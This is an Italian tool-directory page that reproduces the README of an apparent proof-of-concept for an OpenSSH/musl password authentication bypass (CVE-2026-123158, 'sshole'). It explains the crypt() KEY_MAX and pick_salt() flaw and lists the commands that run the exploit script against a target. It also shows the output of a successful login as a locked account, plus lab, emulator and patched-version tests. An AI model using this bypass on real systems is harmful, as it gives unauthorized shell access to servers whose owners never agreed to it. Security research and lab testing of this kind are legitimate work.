Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-123158 — Proof-of-concept per CVE-2026-123158: OpenSSH con musl libc e senza PAM accetta password da 257 a 1024 byte per account il cui campo shadow è "*", aggirando l'autenticazione SSH. | Kitploit
Strumenti/GitHubGitHub/mmitsuha/cve-2026-123158
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza di RetePenetration TestingAutenticazioneApprendimento e FormazioneLab e Pratica
GitHubmmitsuha/cve-2026-123158

CVE-2026-123158

Proof-of-concept per CVE-2026-123158: OpenSSH con musl libc e senza PAM accetta password da 257 a 1024 byte per account il cui campo shadow è "*", aggirando l'autenticazione SSH.

9 giorni faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    336
  • 5

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    322

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-123158 ("sshole") PoC di bypass dell'autenticazione a password OpenSSH/musl

Per sistemi Linux con OpenSSH < 10.6p2, musl libc, senza PAM compilato (la configurazione predefinita di Alpine soddisfa già questo requisito). Quando il campo password in /etc/shadow dell'account di destinazione è esattamente * (account con sola chiave/password bloccata), un attaccante può accedere tramite autenticazione a password SSH utilizzando una password arbitraria di 257–1024 byte.

ElementoValore
CVECVE-2026-123158
Nome in codicesshole
TipoCWE-394 (codice di stato/valore di ritorno imprevisto), bypass dell'autenticazione
CVSS 3.18.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Versioni interessateOpenSSH 7.3p1 ≤ versione < 10.6p2, musl + senza PAM
Versione correttaOpenSSH 10.6p2 / Alpine openssh-server-9.9_p2-r1

1. Principio della vulnerabilità

Tre condizioni convergono sullo stesso strcmp():

  1. KEY_MAX = 256 di musl crypt(3): quando la chiave supera i 256 byte restituisce direttamente il letterale "*", senza eseguire l'hashing (verifica sperimentale di seguito).
  2. OpenSSH pick_salt() (introdotto da CVE-2016-6210): quando il campo shadow dell'account non ha un salt utilizzabile (*, !, vuoto), prende in prestito un salt $5$/$6$ da un altro account del sistema.
  3. sshd confronta con strcmp crypt(password, salt) con il campo shadow: una password lunga produce "*", che è uguale al campo "*" dell'account.
victim shadow = "*"
password      = "A" * 300
pick_salt()   -> "$6$Xk9pQ2mZ"        (借自 donor 账户)
crypt(300B)   -> "*"                   (musl KEY_MAX)
strcmp("*", "*") == 0                  -> 认证通过

Perché la stessa connessione deve inviare due richieste di autenticazione

Questo è il dettaglio chiave emerso dai test pratici (ed è anche la ragione del "primo rifiuto, secondo successo" nei laboratori pubblici):

  • Prima richiesta: in sys_auth_passwd() il campo pw_password punta al buffer statico di getspnam(). Successivamente pick_salt() chiama ripetutamente getspnam() e applica explicit_bzero() a quel buffer, pw_password viene sovrascritto, strcmp() fallisce; allo stesso tempo il salt[32] statico di pick_salt() viene popolato.
  • Seconda richiesta: pick_salt() colpisce la cache statica e restituisce direttamente il salt, senza più scansionare shadow, pw_password rimane "*", crypt() restituisce "*", e il confronto ha successo.

Pertanto il PoC tenta per impostazione predefinita fino a 3 volte sulla stessa connessione TCP (--attempts), e il secondo tentativo completa il bypass; --attempts 1 fallisce in modo stabile, e può essere usato come esperimento di controllo per questo meccanismo.


2. Struttura delle directory

CVE-2026-123158/
├── sshole_poc.py                    # 主 PoC(paramiko 客户端)
├── mock_vuln_sshd.py                # 本地脆弱 sshd 模拟器(无 Docker 也能验证)
├── tests/e2e_test.py                # 26 项端到端测试(真实 TCP + 模拟器)
├── lab/
│   ├── alpine-openssh-sshd/         # 真实靶场镜像(OpenSSH 9.7p1 / Alpine 3.20)
│   │   ├── Dockerfile               # 基于 bengt/alpine-openssh:alpine-3.20
│   │   ├── Dockerfile.source        # 源码构建任意版本(A/B 用 10.6p2)
│   │   └── setup.sh                 # victim:* / donor:$6$ / sshd 配置
│   └── trace/                       # LD_PRELOAD 记录 crypt() 调用的调试镜像
├── .deps/                           # 本地 paramiko 5.1.0(可直接运行)
└── README.md

Dipendenze: Python 3.8+, paramiko. La directory corrente .deps/ è già configurata, lo script aggiungerà automaticamente sys.path; quando si cambia macchina è possibile eseguire:

python -m pip install --target .deps paramiko
# 或:uv pip install --target .deps paramiko

3. Verifica rapida locale (senza Docker)

python sshole_poc.py --self-test
length   musl crypt()       sshd accepts       verdict
256      hashes normally    no                 PASS
257      returns "*"        yes                PASS
...
result: PASS

Avvia l'emulatore ed esegui l'attacco:

python mock_vuln_sshd.py --port 2222 --verbose      # 终端 1
python sshole_poc.py -p 2222 -u victim -l 300       # 终端 2

L'emulatore replica musl KEY_MAX, la cache statica di pick_salt() e la sovrascrittura del buffer alla prima richiesta, pertanto la prima richiesta viene rifiutata e la seconda accettata, coerentemente con il vero sshd.

Regressione completa:

python tests/e2e_test.py        # 26/26 passed

4. Ambiente Docker reale (verificato su 192.168.1.49)

Il contesto Docker locale debian punta a ssh://debian (192.168.1.49, Debian 13). L'immagine si basa su bengt/alpine-openssh:alpine-3.20: OpenSSH 9.7p1, Alpine 3.20.10, musl, libpam non collegata (ldd /usr/sbin/sshd non mostra libpam).

docker build -t cve-2026-123158-lab lab/alpine-openssh-sshd
docker rm -f cve-2026-123158-lab
docker run -d --name cve-2026-123158-lab -p 2222:2222 cve-2026-123158-lab

Account nel container:

AccountCampo shadowScopo
victim*Bypass del target, qualsiasi password da 257 a 1024 byte
donor$6$Xk9pQ2mZ$...Fornisce il salt preso in prestito da pick_salt() (password donorpass)

Attacco da Windows:

python sshole_poc.py --target 192.168.1.49 --port 2222 --user victim --length 300

Output effettivo:

[*]  CVE-2026-123158 (sshole) - OpenSSH/musl password auth bypass
[*]  target        : 192.168.1.49:2222
[*]  user          : victim
[*]  server banner : SSH-2.0-OpenSSH_9.7
[*]  password len  : 300 (window 257..1024)
[*]  auth method   : password (2 attempts)
[+]  AUTHENTICATED as 'victim' with the long password after 2 attempts
[*]  command       : id; uname -a; cat /etc/alpine-release ...; ldd --version ... (exit 0)
     uid=1001(victim) gid=1001 groups=1001
     Linux e4d5bcc92da5 6.12.115+deb13.1-amd64 ... x86_64 Linux
     3.20.10
     musl libc (x86_64)
[+]  VERDICT: VULNERABLE - authentication bypassed (CVE-2026-123158)

Limiti e confronti (sulla stessa macchina target reale):

ScenarioRisultatoCodice di uscita
victim + 256 B (3 tentativi)Rifiutato, crypt() restituisce un hash $6$ reale1
victim + 257 BSuperato al 2° tentativo0
victim + 300 BSuperato al 2° tentativo0
victim + 1024 BSuperato al 2° tentativo0
victim + 300 B + --attempts 1Rifiutato (pick_salt() non preriscaldato)1
victim + 1025 BRifiutato dal client (limite sshd 1024)2
donor + donorpassLogin normale (conferma che il percorso dell'hash funziona)0
donor + 300 BRifiutato (gli account con hash reale non sono interessati)1

Test effettivo di crypt() con musl (compilato con gcc nel container):

len= 255 -> $6$Xk9pQ2mZ$79wP2FVO3P6w...
len= 256 -> $6$Xk9pQ2mZ$RV3YnJuYP6Sz...
len= 257 -> *          <== KEY_MAX 触发
len=1024 -> *

5. Versioni A/B corrette (10.6p2)

lab/alpine-openssh-sshd/Dockerfile.source compila qualsiasi versione dal codice sorgente:

docker build -f lab/alpine-openssh-sshd/Dockerfile.source \
  --build-arg OPENSSH_VERSION=10.6p2 -t cve-2026-123158-fixed lab/alpine-openssh-sshd
docker run -d --name cve-2026-123158-fixed -p 2223:2222 cve-2026-123158-fixed
python sshole_poc.py -t 192.168.1.49 -p 2223 -u victim -l 300   # 期望 exit 1

Test effettivo (Alpine 3.22.5 + musl + OpenSSH_10.6p2, anch'esso con victim:* e donor):

[*]  server banner : SSH-2.0-OpenSSH_10.6
[-]  authentication rejected: password attempt 1/2/3: Authentication failed.
[-]  VERDICT: NOT VULNERABLE via this path
exit=1
donor on fixed: True        # 正常密码账户仍可登录

Correzioni in 10.6p2 (riepilogo del diff del codice sorgente):

Scarica lo strumento